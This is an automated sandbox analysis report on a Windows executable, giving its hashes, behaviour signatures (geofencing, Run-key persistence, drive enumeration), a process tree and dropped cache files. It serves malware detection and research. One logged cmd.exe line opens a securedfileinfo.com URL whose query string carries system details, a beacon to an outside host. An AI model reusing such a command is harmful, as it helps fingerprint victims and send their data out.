Analysis

  • max time kernel
    158s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2022 12:25

General

  • Target

    c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe

  • Size

    143KB

  • MD5

    29b0ebd5011a29fdf0e0d9a4e6f53069

  • SHA1

    b7da31337cc801e9674f64e32c971fb3695b6c8f

  • SHA256

    c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899

  • SHA512

    d4a67c41a946f4c2c51caa039ddd344ea873dfd287e2019be3fb2dc4ff9f933bd97f1e927444b82c746fd6c074541d8d7ec908ff10cc94142fc9c0f85a677348

  • SSDEEP

    3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45DQ:pe9IB83ID5E

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe
    "C:\Users\Admin\AppData\Local\Temp\c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4084
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5300108^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt31^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1372
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5300108&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt31|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
        3⤵
        • Adds Run key to start application
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4244
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7ffbc9b746f8,0x7ffbc9b74708,0x7ffbc9b74718
          4⤵
            PID:212
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2208 /prefetch:2
            4⤵
              PID:4532
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3172
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2796 /prefetch:8
              4⤵
                PID:3688
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
                4⤵
                  PID:2976
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
                  4⤵
                    PID:3820
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5676 /prefetch:1
                    4⤵
                      PID:4708
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6120 /prefetch:1
                      4⤵
                        PID:4580
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:1
                        4⤵
                          PID:3936
                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6840 /prefetch:8
                          4⤵
                            PID:1932
                          • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                            4⤵
                            • Drops file in Program Files directory
                            PID:3328
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x23c,0x240,0x244,0x1d8,0x248,0x7ff79faa5460,0x7ff79faa5470,0x7ff79faa5480
                              5⤵
                                PID:948
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6840 /prefetch:8
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1396
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:3008

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                          Filesize

                          1KB

                          MD5

                          7ef66f502cb164d6d88fd779895d5e07

                          SHA1

                          75c68e887afe0041c18bc01dc36ae719db07a436

                          SHA256

                          084f8949af79ac48c5c245e4bbeea807949d1e8e182e7d0487227231fcd97a77

                          SHA512

                          419b6e5def7e1051af856ea4256235fa4f1bdbf001b54f1db9e59c44f7da8f9cfa8d63f77e35345ec6d5c3ab13de10094281d44f42a7e1fd9d92b3b68ac5ba9e

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                          Filesize

                          472B

                          MD5

                          03ad9fc0b00b5df3165dc2fb1e3b0a3e

                          SHA1

                          f8243335a8bc24d989bddd346048a055e1d0bdeb

                          SHA256

                          366b28d491f7fd632e31c1ce97f939555f7dcee14bb6875737ed2d3e96fa32ec

                          SHA512

                          a3cd8a001366e6c1b96d2b920d56e6efd34e9b69b9805e1a2b0c270346712e22420366f8bd18bbb1dd16fa60d481ad65b13385a66a3f1fa0d7aadaaa27b99796

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                          Filesize

                          724B

                          MD5

                          f569e1d183b84e8078dc456192127536

                          SHA1

                          30c537463eed902925300dd07a87d820a713753f

                          SHA256

                          287bc80237497eb8681dbf136a56cc3870dd5bd12d48051525a280ae62aab413

                          SHA512

                          49553b65a8e3fc0bf98c1bc02bae5b22188618d8edf8e88e4e25932105796956ae8301c63c487e0afe368ea39a4a2af07935a808f5fb53287ef9287bc73e1012

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                          Filesize

                          410B

                          MD5

                          7fee44c045d71fd2e3b0db508bb92ca8

                          SHA1

                          030f013e7686361ea35e08ca32f3b91eaeaa9ab0

                          SHA256

                          fcb3f9d9bd23f44d203dbeb0b41edaabfb1f67bdb10c15e788a16e42a9b6b0b9

                          SHA512

                          516b249bbe4df6e62cfc629429cb1ceaec2d118e4aa734709bc0318312eda0610e49fc944a2b333efb6930d97d60b79fc1bd3b570ab3f47c758f5305702f9590

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                          Filesize

                          402B

                          MD5

                          89395ad493638f59f3cd1e5037cde7bb

                          SHA1

                          48dae7efb55e6a84bfdf4a5fc16781c6f05bacc5

                          SHA256

                          a88617627de3509e55c94f3cd16a419101cdbde44cefa14f9e0f7b9e5e6110fa

                          SHA512

                          f9bc2300a206167589a69526420d986b08db2cd8cc7facc05070fdcf61ec49f863b30b5188ad0d5bd3540b7a497a0a5332ecb60cfbd585bea237525d1403b688

                        • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                          Filesize

                          392B

                          MD5

                          d0ce612b13a1393bf5ff4d56856986db

                          SHA1

                          780e4ab59aeef65797d311b12db9574dddb3aace

                          SHA256

                          5b436f1e39474015de8d444954394b53467ced3223d7bfda551386843fcee1d7

                          SHA512

                          d2e3e8aa4343f92024e5faaec096e22392d51a4a7a640c7c62bb6159b43426f36204f2ec1e53a3d84dab1dcd44fefad83bb2d8ebdda4cfc39c9c0ad17625df10

                        • memory/212-134-0x0000000000000000-mapping.dmp

                        • memory/948-158-0x0000000000000000-mapping.dmp

                        • memory/1372-132-0x0000000000000000-mapping.dmp

                        • memory/1396-159-0x0000000000000000-mapping.dmp

                        • memory/2976-144-0x0000000000000000-mapping.dmp

                        • memory/3172-137-0x0000000000000000-mapping.dmp

                        • memory/3328-157-0x0000000000000000-mapping.dmp

                        • memory/3688-140-0x0000000000000000-mapping.dmp

                        • memory/3820-142-0x0000000000000000-mapping.dmp

                        • memory/3936-156-0x0000000000000000-mapping.dmp

                        • memory/4244-133-0x0000000000000000-mapping.dmp

                        • memory/4532-136-0x0000000000000000-mapping.dmp

                        • memory/4580-154-0x0000000000000000-mapping.dmp

                        • memory/4708-150-0x0000000000000000-mapping.dmp